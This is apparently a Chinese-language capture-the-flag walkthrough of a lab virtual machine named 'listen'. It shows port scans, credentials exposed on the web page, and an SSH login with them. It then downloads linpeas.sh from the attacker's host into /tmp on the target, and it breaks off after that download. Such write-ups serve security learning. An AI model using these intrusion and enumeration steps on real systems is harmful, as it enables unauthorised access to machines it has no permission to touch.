4 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.10.0: 256 hosts scanned in 1.969 seconds (130.02 hosts/sec). 4 responded ❯ export ip=192.168.60.145 ❯ rustscan -a $ip .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : http://discord.skerritt.blog : : https://github.com/RustScan/RustScan : -------------------------------------- 😵 https://admin.tryhackme.com [~] The config file is expected to be at "/home/Pepster/.rustscan.toml" [!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers [!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. Open 192.168.60.145:22 Open 192.168.60.145:80 ^[[B^[[B[~] Starting Script(s) [~] Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-08 14:45 CST Initiating ARP Ping Scan at 14:45 Scanning 192.168.60.145 [1 port] Stats: 0:00:00 elapsed; 0 hosts completed (0 up), 1 undergoing ARP Ping Scan ARP Ping Scan Timing: About 100.00% done; ETC: 14:45 (0:00:00 remaining) Completed ARP Ping Scan at 14:45, 0.10s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 14:45 Completed Parallel DNS resolution of 1 host. at 14:45, 0.01s elapsed DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 3, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] Initiating SYN Stealth Scan at 14:45 Scanning 192.168.60.145 [2 ports] Discovered open port 80/tcp on 192.168.60.145 Discovered open port 22/tcp on 192.168.60.145 Completed SYN Stealth Scan at 14:45, 0.03s elapsed (2 total ports) Nmap scan report for 192.168.60.145 Host is up, received arp-response (0.00049s latency). Scanned at 2025-01-08 14:45:31 CST for 0s
PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 64 80/tcp open http syn-ack ttl 64 MAC Address: 08:00:27:25:83:90 (Oracle VirtualBox virtual NIC)
Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.30 seconds Raw packets sent: 3 (116B) | Rcvd: 3 (116B)
用户提权
curl一下80端口
1 2
❯ curl $ip <h1>welcome:welcome_again</h1>
猜测大概率用户凭证，ssh登入一下
welcome的默认Shell是sh，不太好操作
换成bash
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
❯ ssh welcome@$ip The authenticity of host '192.168.60.145 (192.168.60.145)' can't be established. ED25519 key fingerprint is SHA256:wjUcj6T6r6sq8a/m+aBJnDgmy0hOeMWF04F18Qfae3Q. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.168.60.145' (ED25519) to the list of known hosts. [email protected]'s password: Linux listen 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Could not chdir to home directory /home/welcome: No such file or directory $ bash welcome@listen:/$
直接传个linpeas.sh自动化扫一遍吧
1 2 3 4 5 6 7 8 9 10 11 12 13
welcome@listen:/$ cd /tmp/ welcome@listen:/tmp$ wget 192.168.60.100/linpeas.sh --2025-01-08 01:53:33-- http://192.168.60.100/linpeas.sh Connecting to 192.168.60.100:80... connected. HTTP request sent, awaiting response... 200 OK Length: 827739 (808K) [application/octet-stream] Saving to: ‘linpeas.sh’
linpeas.sh 100%[=======================================================================>] 808.34K --.-KB/s in 0.02s
